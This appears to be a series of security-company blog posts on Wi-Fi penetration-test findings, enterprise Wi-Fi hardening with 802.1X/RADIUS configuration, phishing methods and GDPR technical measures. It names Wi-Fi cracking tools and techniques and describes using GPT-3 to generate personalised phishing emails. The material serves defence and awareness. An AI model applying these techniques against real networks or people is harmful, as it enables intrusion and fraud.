Phase 6 - Reporting: Documentation of all findings with risk assessment (critical/high/medium/low) and specific hardening recommendations. Distinction between immediately implementable quick wins and medium-term measures.

Common Findings from Wi-Fi Penetration Tests

Professional penetration testers regularly find these vulnerabilities in corporate networks:

WPS active: In an alarmingly high percentage of the networks tested, WPS is still active - often because it was not explicitly disabled during router setup. Pixie Dust attacks compromise affected routers in seconds.

WEP still in use: Older infrastructure, particularly in production environments, still uses WEP encryption in some cases. WEP can be cracked in minutes.

Weak PSK: Passwords such as company names, years, or place names are included in word lists. A PMKID attack combined with typical German company passwords is often successful within hours.

Lack of 802.11w: Without Management Frame Protection, deauthentication attacks can be carried out at any time - as a denial-of-service attack or as a precursor to Evil Twin attacks.

Guest Wi-Fi without segmentation: The guest Wi-Fi is not technically separated from the production network. An attacker on the guest Wi-Fi can directly access internal systems.

Evil Twin Vulnerability with 802.1X: The EAP configuration accepts any server certificates. Clients connect to a rogue AP that presents a self-signed certificate - a successful Evil Twin attack despite 802.1X.

Legal Framework

Wi-Fi penetration tests are legally sensitive and require a clear written mandate:

No Wi-Fi testing without the express written permission of the owner of the infrastructure being tested
Section 202a of the German Criminal Code (StGB) (data espionage) and Section 303b of the German Criminal Code (StGB) (computer sabotage) apply even if the tester “only intended to test”
Testing public or third-party networks is a criminal offense - even for academic purposes
A professional penetration testing service provider provides a framework agreement with a clear definition of scope

AWARE7 conducts Wi-Fi penetration tests exclusively within the framework of a written engagement. The client defines the scope, locations, and testing period.

Further Information

If you want to understand the defensive side - WPA3-Enterprise, 802.1X configuration, secure guest Wi-Fi design, and the complete hardening checklist - you’ll find all the details in the accompanying article:

Enterprise Wi-Fi Security: WPA3, 802.1X, and Secure Guest Wi-Fi

Wi-Fi security doesn’t end with setting a strong password. A professional Wi-Fi penetration test reveals which of your measures actually hold up - and which would fail in a real attack. The results form the basis for prioritized hardening.

Request a Wi-Fi penetration test | Penetration testing services

Enterprise WLAN Security: WPA3, 802.1X and Secure Guest Wi-Fi

kontakt@a7.de (Chris Wojzechowski) — Sun, 08 Mar 2026 00:00:00 GMT

"The Wi-Fi password? It's on the sticker under the router." An alarming number of Wi-Fi security policies in companies begin with this sentence. WPA2-PSK with a single shared password is acceptable for home use - but for businesses with a constant flow of employees, suppliers, and guests, it poses a security risk.

WPA2-PSK vs. WPA2/WPA3-Enterprise

Why WPA2-PSK Is Inadequate in a Corporate Setting

Problem 1: No Individual Identification

All employees, suppliers, and guests use the same password
Log shows only: Device XY was on the Wi-Fi - no username!
GDPR: Attribution is virtually impossible
Forensics after an incident: Who was on the Wi-Fi and when?

Problem 2: Password Management

Former employees know the Wi-Fi password
Password rotation: Must be communicated to ALL employees (time-consuming!)
Employees send the password to visitors, family, etc.

Problem 3: Retrospective Decryption

Wi-Fi traffic can be recorded
With PSK: Third parties who know the PSK can decrypt recorded traffic!
Competitors, former employees: potential attackers

WPA2/WPA3-Enterprise: The Enterprise Solution

Instead of a shared password: individual login credentials per device/user.

Standard: IEEE 802.1X with RADIUS server EAP method: EAP-TLS (certificates) or PEAP-MSCHAPv2 (username/password)

Process:

Device connects to Wi-Fi
Access point requests identification (802.1X)
Device sends credentials (certificate or username/password)
Access point forwards to RADIUS server
RADIUS server verifies against Active Directory / Entra ID
Either: Access granted (with VLAN assignment!) or denied

Advantages:

Individual access: Employee resignation → immediate revocation (deactivate in AD)
Logging by user/device
Certificate-based EAP-TLS: no passwords required
Forward secrecy: recorded traffic cannot be decrypted retroactively
VLAN assignment: Marketing employees are automatically placed in the marketing VLAN

WPA3 improvements:

Individual data protection: Devices cannot see each other’s traffic (SAE instead of PSK)
WPA3-SAE (Simultaneous Authentication of Equals): better protection against PMKID attacks
192-bit security for Enterprise (GCMP-256 instead of AES-128-CCM)

Configuring RADIUS and 802.1X

Microsoft NPS as a RADIUS server (included in Windows Server)

Install-WindowsFeature NPAS -IncludeManagementTools

Configuration for Wi-Fi:

1. NPS → RADIUS Clients: Register access points
   (AP IP address + shared secret between AP and NPS)

2. Connection Request Policy:
   Type of network access server: Wireless - IEEE 802.11

3. Network Policy:
   Conditions:
     User Groups: "Domain Users" or specific Wi-Fi group
   Authentication Method: EAP-MSCHAPV2 (PEAP) or EAP-TLS (Certificate)
   VLAN Assignment:
     RADIUS Attributes → Tunnel Type: VLAN
     Tunnel Medium Type: 802
     Tunnel Pvt Group Id: 20  (VLAN ID for employees)

EAP-TLS (Certificate-based - recommended)

No password required: Device authenticates with certificate. Entra ID / AD PKI issues certificates; Intune automatically distributes certificates to managed devices.

Intune → Configuration → Certificate Profiles → SCEP Certificate:
  Key storage provider: TPM (stored in the hardware security module!)
  Subject name format: CN={{UserName}},DC=company,DC=de
  Extended key usage: Client Authentication
  Validity period: 1 year
  SCEP server: https://ndes.firma.de/certsrv/mscep/mscep.dll

Then: Wi-Fi Profile in Intune:
  Security type: WPA2-Enterprise / WPA3-Enterprise
  EAP type: EAP-TLS
  Client certificate: {{Cert from SCEP profile}}
  Trusted server certificate: Company CA certificate

FreeRADIUS (Alternative, free)

apt install freeradius freeradius-utils

# Configuration /etc/freeradius/3.0/clients.conf:
client access_point_1 {
  ipaddr = 192.168.1.10        # IP of the AP
  secret = supersecret123      # Shared Secret
  shortname = ap-1
  nastype = cisco
}

# LDAP connection /etc/freeradius/3.0/mods-enabled/ldap:
ldap {
  server = &#x27;ldap.company.com&#x27;
  identity = &#x27;CN=freeradius,OU=Service,DC=company,DC=com&#x27;
  password = ${ldap_password}
  base_dn = &#x27;DC=company,DC=com&#x27;
  user {
    base_dn = "${..base_dn}"
    filter = "(sAMAccountName=%{%{Stripped-User-Name}:-%{User-Name}})"
  }
}

Setting Up Guest Wi-Fi Correctly

Design Principles

Strict separation from the production Wi-Fi:

Dedicated SSID for guests
Dedicated VLAN (e.g., VLAN 99)
Firewall between guest VLAN and corporate network:
- DENY: VLAN 99 → VLAN 10 (employees), VLAN 20 (servers)
- ALLOW: VLAN 99 → Internet (Port 80/443)

Authentication options for guests:

Option 1: Captive Portal (Landing Page with Registration)

Guest enters name + email
Accepts terms of use
Receives access code
Access for a limited time (e.g., 8 hours)

Option 2: Voucher System

Front desk/reception issues time-limited vouchers
Code valid for 1 day, 1 week, etc.
No guest account required

Option 3: WPA2-PSK with regular rotation

Less secure, but simple
Change code weekly; post on whiteboard in conference room
ONLY if guests cannot have sensitive data

Captive Portal Solutions:

Solution	Description
pfSense + Captive Portal	Open Source
Cisco Identity Service Engine (ISE)	Enterprise
Aruba ClearPass	Enterprise
Unifi Network Application	For Ubiquiti networks, very simple!

Guest registration data: GDPR obligations!
Privacy notice required in the captive portal
Define retention period (access logs: typically 7-30 days)
Purpose limitation: for network administration only

Guest Wi-Fi Configuration (Unifi Example)

Settings → WiFi → Add New WiFi Network:
  Name: Company Guests
  Password: (blank; Captive Portal handles this)
  Network: Guest VLAN (create beforehand)
  Guest Policy: Enable (activates isolation)

Hotspot Manager:
  Authentication: Voucher
  Voucher Expiry: 8 hours
  Voucher Usage: Single Use

Automatic Firewall Rule (Guest Policy):
  Block: Guests → internal networks (automatic)
  Allow: Guests → Internet

Detecting and Preventing Wi-Fi Attacks

Common Wi-Fi Attacks

1. Evil Twin / Rogue Access Point

Attacker sets up an AP with the same SSID as the company’s Wi-Fi
Stronger signal → Devices connect automatically
Man-in-the-Middle: All traffic can be intercepted
Protection: 802.1X + Certificates (Devices verify server certificate!)

2. PMKID Attack (WPA2-PSK)

Attacker intercepts PMKID hash during connection setup
Offline brute force against PMKID → password cracked
Tool: hcxdumptool + hcxtools + hashcat
Protection: WPA3-SAE (PMKID attack no longer possible!) or long, random WPA2-PSK (>25 characters)

3. Deauthentication attacks

Attacker sends fake deauthentication packets → all clients disconnected
DoS or forcing a new connection (for Evil Twin)
Protection: 802.11w (Management Frame Protection) - WPA3 enforces it!

4. KRACK (Key Reinstallation Attack, WPA2)

Vulnerability in WPA2 handshake implementation
Already patched in current operating systems
Protection: Patch all clients and APs immediately

Wi-Fi Monitoring (Rogue AP Detection)

Cisco Wireless Controller: automatic rogue AP detection
Unifi: Wireless Intrusion Detection/Prevention
Kismet (Open Source): Passive Wi-Fi scanner + rogue detection

apt install kismet
kismet -c wlan0mon
# Web GUI at localhost:2501
# Displays all Wi-Fi networks within range, flags unknown APs

Wi-Fi Hardening Checklist

WPA3-Enterprise or WPA2-Enterprise (802.1X) for employee Wi-Fi
No WPA2-PSK on the corporate network
Guest Wi-Fi: separate VLAN, captive portal
Management Frame Protection (802.11w) enabled
Rogue Access Point Detection enabled
Wi-Fi password (if PSK): min. 25 characters, random
SSID should not be the company name (prevents targeting): choose an anonymous SSID
No WPS function (PIN-based, vulnerable)
RADIUS/NPS server secured with a certificate (no self-signed ones!)
Regular Wi-Fi security audit (annually)
Keep AP firmware up to date

WPA3: An Overview of the Current Encryption Standard

WPA3 has been available in modern routers for several years and offers significant security improvements over WPA2 - but also presents challenges during migration.

What Makes WPA3 Better

Protected Management Frames (PMF): WPA3 enforces PMF (802.11w), which significantly complicates deauthentication attacks. With WPA2 without PMF, an attacker can send fake deauth packets and disconnect all clients - a precursor to Evil Twin attacks.

Simultaneous Authentication of Equals (SAE): The new handshake protocol makes dictionary attacks against the connection key virtually impossible. With WPA2-PSK, an attacker can record the 4-way handshake and try passwords offline - with WPA3-SAE, this is no longer possible.

192-Bit Security Mode (WPA3-Enterprise): For particularly sensitive environments, WPA3-Enterprise offers significantly stronger encryption using GCMP-256 instead of AES-128-CCM.

Compatibility and Migration

WPA3 requires firmware updates on both the router and the end devices:

Windows 10 version 1903 or later with the appropriate network adapter driver
macOS version 10.15 (Catalina) or later
iOS version 13 or later
Android: supported by software starting with Android 10; older devices depend on the manufacturer

Recommendation: Set the router to "WPA2+WPA3" (transition mode). This way, modern devices will automatically connect via WPA3, while older devices - such as printers or IoT devices - will remain accessible via WPA2. Note: In transition mode, the router automatically enables PMF for WPA2 connections as well. Not all older devices support PMF, which can lead to connection issues.

Problem with Android in transition mode: Some Android devices continue to use WPA2 even though the router offers WPA3. Solution: Remove the known Wi-Fi network and reconnect by entering the password (do not use a QR code or WPS - these often force WPA2).

Nearest Neighbor Attack: When Your Neighbor Attacks Your Wi-Fi

Attacks from the immediate vicinity are an often underestimated threat. In apartment buildings or densely populated commercial areas, potential attackers are within Wi-Fi range - without ever having to enter the building.

How a Neighbor Becomes a Security Problem

Cybercriminals use the following methods for neighborhood attacks:

Network scans: Tools like Aircrack-ng or Wireshark allow for the systematic detection of all Wi-Fi networks in the vicinity, including SSID, encryption standard, and signal strength. WEP networks and those using WPS are immediately identifiable as easy targets.

Brute-force attacks on weak passwords: For WPA2-PSK with a short or simple password, capturing a single handshake is sufficient. The subsequent offline analysis with Hashcat can crack a password like “Company2024” in seconds.

WPS exploitation: WPS (Wi-Fi Protected Setup) allows devices to connect via an eight-digit PIN - split into two four-digit blocks, reducing the number of possible combinations to 11,000. With the Reaver tool, WPS can be compromised in just a few hours.

Social Engineering: Attackers can pose as technicians or service providers to directly request Wi-Fi access credentials.

Real-World Consequences of Insecure Wi-Fi Networks

The legal consequences of a compromised Wi-Fi network often fall on the account holder first: If illegal activities take place via your connection, you will initially be treated as a suspect. The burden of proof for your own innocence lies with the connection owner - investigations, legal fees, and reputational damage are the result, even if it later turns out that a stranger misused your connection.

Another risk: If an attacker gains access to your Wi-Fi, they can read all unencrypted network traffic. If WPS was active and compromised, the attacker has permanent network access - until you change the password. Data from cloud services, email accounts, and internal documents can thus be accessed unnoticed for weeks.

Guest Wi-Fi: Convenience Without Security Risks

A guest Wi-Fi network is virtually indispensable in modern businesses. Auditors, external consultants, suppliers, and business partners expect hassle-free internet access - without it opening a path to the internal network.

Typical guest groups and their requirements

Auditors and accountants need access to cloud tools and online documents. A guest Wi-Fi network enables this without opening the internal network.

External lawyers and consultants regularly work with sensitive data. Isolated internet access prevents the unintentional disclosure of internal resources.

External IT service providers often need internet access for maintenance work. An isolated guest Wi-Fi network allows them to perform tasks while keeping the production network protected.

Customers and business partners expect Wi-Fi to work during meetings and presentations. A professionally set up guest Wi-Fi network leaves a good impression while minimizing risks.

Risks of a poorly configured guest Wi-Fi network

Lateral Movement: Without strict network segmentation, attackers can gradually penetrate the internal network via a compromised guest device. A device infected with malware on the guest Wi-Fi then becomes the starting point for attacks on servers and workstations.

GDPR Risks: Guest registration data is subject to the GDPR. A lack of privacy notices in the captive portal or retaining access logs for too long can result in fines.

Bandwidth Abuse: Without bandwidth limits, a single guest can slow down the entire corporate network.

Protective Measures for the Guest Wi-Fi

Network Segmentation: The guest Wi-Fi must run on its own VLAN (e.g., VLAN 99). Firewall rules must block access from the guest VLAN to all internal VLANs.
Time-Limited Access: Voucher codes with automatic expiration (e.g., 8 hours or 24 hours) prevent continuous access by guests who are no longer present.
Captive Portal with Privacy Notice: Guests must confirm the terms of use before gaining access. The captive portal must include a GDPR-compliant privacy notice.
Network Access Control (NAC): For sensitive environments: Only devices with an up-to-date operating system and active antivirus protection are granted access.
Monitoring: Monitor network traffic on the guest Wi-Fi for anomalies. Retain access logs (standard retention period: 7-30 days), but store only the necessary data.
Employee Training: Reception staff and IT support must know how to set up, monitor, and immediately block guest access in an emergency.

Guest Wi-Fi - A Real-World Example

A company set up an open Wi-Fi network for guests without a password. An attacker exploited the unsecured access to inject malware. Since there was no segmentation between the guest and corporate networks, internal systems were compromised. The incident led to technical outages and lasting reputational damage with business partners.

A law firm solved the problem differently: guests receive individual access codes via a captive portal, valid for a maximum of 24 hours. The guest Wi-Fi is strictly separated from the internal network via VLANs. Access is automatically deactivated upon expiration. This simultaneously meets visitor convenience and compliance requirements.

Seven Basic Rules for Secure Wi-Fi Networks

These rules apply to both home and corporate networks and form the basis of every security concept:

1. Modern encryption method: WPA3 or at least WPA2 with AES. WEP and WPA (without a number) have known vulnerabilities and must be replaced. WPA2-PSK with AES remains the minimum requirement for environments that do not yet fully support WPA3.

2. Strong, random password: For home networks, at least 16 characters including numbers, letters, and special characters. For enterprise PSK, at least 25 random characters. Passwords that are easy for humans to remember, such as “Company2024Secure!”, are easier to crack in brute-force attacks than random character strings.

3. Disable WPS: The WPS PIN effectively has only 11,000 combinations (the eighth digit is a checksum; the standard checks the first four and last three digits separately). The Reaver tool can automatically brute-force WPS PINs. WPS should be disabled on every network.

4. Keep router firmware up to date: Manufacturers regularly release updates that patch security vulnerabilities. Enable automatic firmware updates whenever possible. Outdated router firmware with known CVEs is a common attack vector.

5. Disable Unnecessary Services: Only enable FTP, SSH, Telnet, and similar services on the router if they are actually needed. Every open service is a potential attack surface.

6. Separate password management: Use different passwords for the Wi-Fi, the guest Wi-Fi, and the router admin access. An attacker who knows the guest password should not be able to deduce the admin password.

7. Regularly check connected devices: Regularly check the router interface to see which devices are connected. Unknown devices on the network are a warning sign - if you suspect anything, change the Wi-Fi password immediately.

Wi-Fi Basics: How Wireless Connections Work Technically

Understanding the technical basics helps you better understand security measures.

Radio Frequencies and Range

Wi-Fi transmits data as radio waves on two frequency bands:

2.4 GHz: Greater range, penetrates walls better, but more congested (microwave ovens and Bluetooth use the same band). More susceptible to interference from other devices.

5 GHz: Higher data rate, fewer sources of interference, but shorter range and poorer wall penetration. Devices with high bandwidth requirements should preferably operate on the 5 GHz band.

Both bands are divided into multiple channels to avoid interference from overlapping networks. Many routers are dual-band and support both frequency bands simultaneously.

IEEE 802.11 Standards

The Wi-Fi standard is based on IEEE 802.11. Relevant versions:

802.11n (Wi-Fi 4): Up to 600 Mbps, 2.4 and 5 GHz
802.11ac (Wi-Fi 5): Up to several Gbps, 5 GHz
802.11ax (Wi-Fi 6/6E): More efficient with many simultaneous devices, 2.4, 5, and 6 GHz
802.11w: Management Frame Protection (MFP) - important for security against deauthentication attacks

Why Wi-Fi Signals Know No Physical Boundaries

A Wi-Fi signal does not stop at the office wall. It radiates in all directions, including into neighboring rooms, adjacent buildings, and public spaces. This is precisely where the fundamental security problem lies: Anyone with a Wi-Fi adapter within range can receive your signal. Whether they can exploit it depends on the quality of your encryption and your password.

Further Resources

If you want to understand how attackers specifically target Wi-Fi networks - and which tools, methods, and attack scenarios professional penetration testers use to assess Wi-Fi infrastructures - you’ll find all the details in the accompanying article:

Wi-Fi Penetration Testing: Tools, Methods, and Attack Vectors

A professionally configured Wi-Fi network differs little from consumer Wi-Fi in terms of operation, but significantly in terms of security. WPA3-Enterprise with 802.1X takes a little more time to set up, but saves hours of forensic work after an incident. AWARE7 checks Wi-Fi configurations as part of network penetration tests.

Schedule a free initial consultation | Network Penetration Testing | Security Awareness Training

Phishing Methods Overview: From Spear Phishing to AI Phishing

kontakt@a7.de (Chris Wojzechowski) — Sat, 07 Mar 2026 00:00:00 GMT

Phishing has been a growing problem since the dawn of the internet. However, the term no longer describes a single, uniform method. Anyone who wants to fend off attacks must first understand the different variants that exist, how they work technically, and why people continue to fall for them despite increasing awareness.

This guide summarizes the most important phishing methods - with concrete real-world examples and one protective measure for each method.

1. The Evolution of Phishing

Attempts at fraud existed even before the internet. Back then, of course, not via email, but via letter. However, with increasingly rapid networking and digitization, the business of criminal messages has become increasingly scalable. Spam filters and other security solutions do try to keep malicious emails out of inboxes - but their success has been rather limited. This is partly because criminals are constantly finding new methods and attack vectors to bypass these filters.

Phishing attacks are difficult to detect because they can mimic legitimate emails or websites. Now they are becoming even more sophisticated: Artificial intelligence enables realistic, personalized messages that are nearly impossible to detect, even for vigilant users. At the same time, Phishing-as-a-Service platforms lower the technical barrier to entry to a minimum.

The following overview shows which methods criminals are using today - and what companies can do to counter them.

2. Email Phishing (Classic)

Classic email phishing is the origin of all variants. Phishing is a type of digital attack in which users are tricked into revealing personal data, such as passwords or credit card numbers, through fraudulent emails or websites.

Mass phishing campaigns target as many recipients as possible at the same time. The messages mimic well-known brands, banks, or government agencies and create a sense of urgency - often through feigned urgency or threats of consequences.

Real-world example: An email pretends to come from a well-known streaming platform and asks the recipient to update their payment information. The link provided leads to a deceptively realistic fake version of the real website.

Precaution: Carefully check the sender’s domain and the linked URL - both must match the organization in question. If in doubt, log in directly on the real website instead of clicking the link in the email.

3. Spear Phishing and Whaling/CEO Fraud

While mass phishing relies on quantity, spear phishing targets individual, carefully selected people. A spear phishing attack is a targeted attack on a person or group of people - using pre-researched, personal details that make the message convincing.

CEO fraud is the most common form of spear phishing used in companies. The word "fraud" means exactly what it says: deception. CEO fraud is a scam in which the identity of a decision-maker is impersonated - whether through a manipulated email, call ID spoofing, or even a deepfake video call. Perpetrators conduct extensive social engineering via LinkedIn and company websites beforehand before calling the accounting department posing as the CEO or requesting a wire transfer via email.

The North Rhine-Westphalia Police warned early on that the number of cases had doubled. Various scammers have stolen several million euros using this scheme. What’s interesting is that the police also warn that small and medium-sized enterprises can become targets as well. While initially it was only the very large, internationally active companies, small business owners are now also being specifically targeted. No wonder: there’s a lot to be gained here too, although the risk and security barriers are usually lower than at top corporations.

Real-world example: Security researchers used machine learning software to automatically send tweets to Pokémon Go players on Twitter. The software responded fully automatically to tweets with the hashtag #PokemonGo, achieving click-through rates of 30% to 60% - compared to 5-10% for standard phishing. A manually created spear-phishing attack typically takes up to 10 minutes to prepare, with a click-through rate of up to 40%.

Preventive measure: Instructions regarding financial transactions must always be confirmed via a second, verified channel - a quick call back to the alleged sender’s known number is enough to stop the scam. Employees must also know that it is acceptable to question even their boss.

4. Vishing (Phone Phishing)

Vishing is short for "voice phishing" - phishing over the phone. Attackers call their victims directly and pose as bank employees, IT support staff, or government officials. When combined with caller ID spoofing, the victim sees a trustworthy-looking phone number.

The speed of communication during phone calls and the resulting level of trust are significantly higher than with emails. Attackers exploit this effect deliberately: When pressured by an authority figure over the phone, people act faster and question less.

Vishing is regularly used in CEO fraud: Fraudsters have been infiltrating the company for a long time, know how employees think, and usually play the role of the boss very credibly and authoritatively.

Real-world example: An attacker calls the accounting department posing as the CEO and demands an urgent transfer to a foreign account. The displayed phone number matches the executive’s real phone number because call ID spoofing is being used.

Precaution: Always verify instructions given over the phone regarding transfers or the disclosure of sensitive data via a different channel (e.g., in person or via email to the known address).

5. Smishing (SMS Phishing)

Smishing refers to phishing attacks via SMS or messaging services. The principle is the same as with email phishing - only the channel is different. Fraudsters send text messages that announce a package delivery, simulate an account warning, or contain alleged prize notifications, and link to fraudulent websites.

Smishing is effective because many people intuitively trust text messages more than emails. Additionally, URLs are often displayed in shortened form on mobile devices, making it harder to spot fakes.

Real-world example: A text message pretends to be from a package delivery service and requests payment of a small fee so the package can be delivered. The link leads to a fake payment page where payment details are stolen.

Precaution: Do not click on links in unexpected text messages. Verify suspicious messages by visiting the official website directly or contacting official customer service.

6. Quishing (QR Code Phishing)

Quishing combines QR codes with classic phishing tactics. In quishing, a QR code is generated that contains a malicious link. This link can also be disguised using a URL shortener. Unlike email phishing, the QR code is usually printed on physical media, as sending it via email isn’t particularly plausible.

The COVID-19 pandemic has deeply integrated QR codes into everyday life: digital vaccine passports, contact tracing, check-ins - QR codes have been ubiquitous ever since. If the QR code is placed in a plausible location and within a logical context, it appears more legitimate and trustworthy than an email.

Real-world example: In Austin, Texas, authorities discovered tampered QR codes at parking stations. The codes redirected to a page that did not originate from an official source - this allowed attackers to steal payment data from parkers.

Precaution: Use a QR code scanner that displays a URL preview before opening the link. Apple has built this feature into its system-integrated scanner; corresponding apps are available for Android. Do not scan codes in unusual or suspicious-looking locations.

7. Chishing (Chat Phishing)

Communication within companies increasingly takes place via business chat platforms. External partners are also being added to internal business chats more frequently, thereby expanding the attack surface. AWARE7 has discovered that with a variety of chat tools, it is possible to edit a profile in such a way that a spoofing attack becomes feasible. This attack method has been termed chishing - a portmanteau of chat and phishing.

Spoofing occurs when an attacker pretends to be someone else in order to gain access to confidential information. Attackers change the profile picture and display name so that conversation partners do not notice the identity change during an ongoing chat. The speed of communication in chats and the level of trust are significantly higher than with emails - an ideal environment for social engineering attacks.

AWARE7 analyzed six chat tools in a study: Microsoft Teams, Google Chat, Slack, Element.io, Mattermost, and WebEx Teams. Result: In four of the six tools - Google Chat, Slack, Mattermost, and WebEx Teams - it was possible to change the profile picture and name in such a way that it was not noticeable within a chat whether the person was genuine or not. Only Microsoft Teams (profiles are managed by IT admins) and Element.io (unique user tag) offered sufficient protection.

Real-world example: In Mattermost, three different users can create identical profiles. An external guest impersonates an internal employee and requests login credentials or a bank transfer via chat.

Protective measure: Always verify sensitive instructions in business chats via a second channel. Choose chat platforms that offer unique user identifiers. Raise employee awareness about this specific attack method.

8. AI-powered phishing - the new dimension

The most dangerous development in the field of phishing is the use of artificial intelligence. AI-powered phishing attacks have reached a new level of sophistication with the use of language models: These systems generate deceptively authentic, individually personalized emails that even careful users can hardly detect and that systematically bypass conventional spam filters.

GPT-3 (Generative Pre-trained Transformer 3) is a machine learning platform that produces human-like text and can even mimic the style of a specific author. In the Playground, all you need to do is enter the intended recipient of a phishing email - the program then automatically generates a plausible phishing message. This process can be fully automated via an API.

OpenAI has released an API that allows developers to utilize these features. Criminals can use it to compose and send phishing emails that are even more personalized and fully automated. Especially in combination with large-scale data breaches - which also enable the automated processing of email addresses, names, and other personal details - we can expect even more sophisticated and scalable phishing waves.

Classic telltale signs such as grammatical errors or generic salutations thus become worthless. Criminals are scaling their campaigns to an industrial level.

Real-world example: Software trained by security researchers using approximately 2 million tweets automatically generated responses to tweets with the hashtag #PokemonGo. The malicious tweets achieved click-through rates of 30% to 60%. The fact that the software did not speak perfect German or English did not detract from its success - Twitter slang works to the algorithms’ advantage.

Protective measure: Pay particular attention to the domain and the sender’s name - these must be well-faked to make the message appear truly authentic. It is crucial to be aware that even supposedly personalized emails can serve a malicious purpose.

9. Phishing Toolkits: Caffeine and the Phishing-as-a-Service Model

Another driver of the rising phishing threat is the professionalization of the attackers’ infrastructure. Phishing-as-a-Service (PhaaS) makes it possible to launch ready-to-use phishing campaigns immediately without any technical expertise.

Caffeine is a Phishing-as-a-Service toolkit with one key feature: The registration process has been significantly simplified and is accessible via the regular internet - no Darknet access or Telegram channel is required. Anyone who knows the site’s address can register.

As a PhaaS, Caffeine handles much of the work for potential attackers. It includes up-to-date templates for phishing emails and the landing pages behind them - in particular, extensive templates for the Microsoft 365 environment. Interestingly, templates are available not only for major Western companies but also for Chinese and Russian companies. Mandiant has analyzed the toolkit in detail and confirmed its existence.

The price is $450 for three months; the Enterprise subscription for six months costs $850. The toolkit explicitly advertises customer support as well as various anti-detection and anti-analysis features. URLs can be dynamically generated using variables, making detection even more difficult. IP addresses or entire countries can be excluded from phishing campaigns. Payment is made with cryptocurrency - further lowering the barrier to entry.

The fact that yet another toolkit for illegal phishing activities has entered the market demonstrates just how lucrative the phishing business is. Particularly concerning is the trend that more and more potential attackers are being tempted to carry out illegal attacks due to the low barriers to entry.

Protective measure: Since phishing toolkits provide technically flawless attack email templates, technical detection features can no longer serve as the sole filter. Employees must be trained to recognize phishing patterns in the content of emails - regardless of how professional a message may appear.

10. How Companies Can Protect Themselves

No single technical measure provides complete protection against the full range of phishing methods. Effective protection is multi-layered:

Technical Measures:

Consistently configure email authentication (SPF, DKIM, DMARC)
Keep spam and phishing filters up to date
Implement multi-factor authentication (MFA) for all logins - MFA renders stolen login credentials largely useless to attackers
Use QR code scanners with URL previews
Prioritize chat platforms with reliable user identification

Organizational measures:

Clear processes for financial transactions and requests for sensitive data: Always follow the dual-control principle and perform verification via a second channel
Allow and encourage employees to question instructions from supervisors
Implement a compliance management system that mandates these processes

Training and Awareness:

Regular awareness campaigns covering all methods - not just email phishing
Conduct phishing simulations that also cover quishing scenarios (distributed flyers, QR codes placed within the company) and chat-based attacks
Make it clear to employees that AI-generated phishing messages no longer contain classic spelling errors

The main reason fraudsters get away with scams like CEO fraud is that no one expects them. That is precisely the problem: employees need to know that such attacks are real and do happen - not just at large corporations, but also at small and medium-sized businesses.

11. Frequently Asked Questions (FAQ)

What is the difference between phishing and spear phishing? Phishing refers to fraudulent messages sent in bulk to many recipients at once. Spear phishing, on the other hand, is a targeted attack on a specific person or group of people - using pre-researched, personal details to make the message convincing. Click-through rates for spear-phishing are significantly higher: up to 40% for manually created attacks and up to 60% for AI-assisted attacks, compared to 5-10% for traditional mass phishing.

What is CEO fraud and who is affected by it? CEO fraud is a scam in which attackers impersonate a decision-maker - via email, phone, or even a deepfake video call. They demand money transfers or the disclosure of sensitive data. CEO fraud no longer targets only large corporations: small and medium-sized businesses are also specifically targeted because they often have fewer security barriers.

What is quishing? Quishing is phishing via QR codes. A QR code is linked to a malicious link and placed in physical form - on stickers, flyers, or on physical devices. Since QR codes have become deeply integrated into everyday life due to the COVID-19 pandemic, they appear trustworthy in a plausible context. A QR scanner with a URL preview offers protection.

What is chishing? Chishing is phishing in business chat tools such as Slack, Google Chat, or Mattermost. Attackers change their display name and profile picture to appear as other employees or known contacts. AWARE7 has demonstrated in its own study that this is easily possible on four out of six platforms examined.

How can I protect myself against AI-powered phishing? AI-generated phishing messages no longer have classic telltale signs like spelling errors. Protection comes primarily from a critical eye toward the sender’s domain and address, as well as the awareness that even messages that appear personalized can be malicious. Regular phishing simulations systematically train this vigilance.

What is Phishing-as-a-Service (PhaaS)? PhaaS is a business model in which criminals can rent ready-made phishing toolkits - including templates, hosting, anti-detection features, and support. Toolkits like Caffeine can now be booked directly on the clear web without dark web access, significantly lowering the barrier to entry. The result: more potential perpetrators, more attacks, and higher-quality templates.

What are the benefits of a phishing simulation? A phishing simulation tests how employees react in a real-world scenario - before real attackers do. Realistic scenarios uncover vulnerabilities and enable targeted retraining. Modern simulations can also replicate quishing scenarios (QR code flyers in the office) and chat-based attacks. You can find details on our Phishing Simulation page.

GDPR and IT Security: Technical Measures under Art. 32

kontakt@a7.de (Chris Wojzechowski) — Fri, 06 Mar 2026 00:00:00 GMT

"Appropriate technical and organizational measures" - Article 32 of the GDPR sounds abstract. However, the supervisory authorities have a clear understanding of what this means in practice. Companies that cannot demonstrate documented TOMs in the event of a data breach risk substantial fines - regardless of whether the measures were technically in place or not. What matters is the ability to provide evidence.

The legal foundations and organizational obligations - AVV, 72-hour reporting requirement, DSFA, fine practices - are covered in the companion article GDPR Compliance for Businesses. This article focuses on the technical side.

Article 32 of the GDPR formulates the requirements on a risk-based basis:

> "Taking into account the state of the art, the costs of implementation, and the nature, scope, context, and purposes of processing as well as the varying likelihood and severity of the risk.... the controller and the processor shall implement appropriate technical and organizational measures to ensure a level of security appropriate to the risk; these measures shall include, among other things: > a) the pseudonymization and encryption of personal data; > b) the ability to ensure the confidentiality, integrity, availability, and resilience of systems; > c) the ability to quickly restore the availability of and access to personal data in the event of a physical or technical incident; > d) a procedure for regularly reviewing, assessing, and evaluating the effectiveness of the TOMs."

The four protection objectives:

Protection Objective	Meaning
Confidentiality	Only authorized persons can view data
Integrity	Data is complete and unaltered
Availability	Data is accessible when needed
Resilience	Systems remain resilient in the event of attacks or failures

"Appropriate" means risk-based - not an absolute level:

Risk Level	Examples	Requirements
Low Risk	B2B customer list	Basic measures: MFA, encryption at rest, backup
Medium Risk	Employee data, standard customer data	Standard TOMs, DSFA for certain processing activities
High Risk	Art. 9 Data: Health, Biometrics, Banking Data	Enhanced TOMs, Pseudonymization, DSFA mandatory, regular penetration tests

TOM Catalog: Specific Technical Measures

Area 1: Access Control

Access Control (Physical):

Server rooms: Key card + PIN or biometrics
Visitor log: Who, when, accompanied by
No "tailgating" in server rooms
Camera surveillance at access points (documented in accordance with GDPR)

Access control (logical):

Password policy: at least 12 characters, no reuse
MFA for all employees: mandatory - not optional
Inactive accounts: automatically lock after 30 days
Offboarding: immediate account deactivation on the last day of employment

Access control (permissions):

Need-to-know principle: access only data necessary for the task
Role-Based Access Control (RBAC): permission roles instead of individual rights
Quarterly access reviews: who still has which permissions?
No shared accounts: every user has their own account
Admin accounts: separate accounts, not for daily work

